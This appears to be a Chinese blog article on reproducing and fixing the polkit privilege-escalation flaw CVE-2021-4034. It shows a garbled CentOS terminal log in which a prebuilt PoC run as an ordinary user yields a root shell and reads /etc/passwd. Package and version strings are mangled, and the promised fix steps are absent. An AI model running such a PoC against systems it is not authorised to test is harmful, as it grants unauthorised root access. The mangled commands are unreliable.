Linuxpolkit本地权限提升漏洞(CVE-2021-4034)修复案例与POC复现方法

2024年2月3日发(作者：)

版本漏洞验证通过以下命令可查看Polkit是否为安全版本[root@node01 ~]# rpm -qa 7_9.1.x86_64漏洞复现POC--修复前[root@node02 ~]# cat /etc/redhat-release

CentOS Linux release 7.6.1810 (Core)

[root@node02 ~]# uname -aLinux node02 7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux[root@node02 ~]# rpm -aq | grep 7.x86_7.x86_64[root@node02 ~]# useradd liangliang[root@node02 ~]# passwd liangliangChanging password for user password:

Retype new password:

passwd: all authentication tokens updated successfully.[root@node02 ~]# cve-2021-4034-poc[root@node02 ~]# cp cve-2021-4034-poc /home/liangliang/[root@node02 ~]# chmod 755 /home/liangliang/cve-2021-4034-poc

[root@node02 ~]# su - liangliang[liangliang@node02 ~]$ ./cve-2021-4034-poc

sh-4.2#

sh-4.2#

sh-4.2# iduid=0(root) gid=0(root) groups=0(root),2334(liangliang)sh-4.2# cat /etc/passwd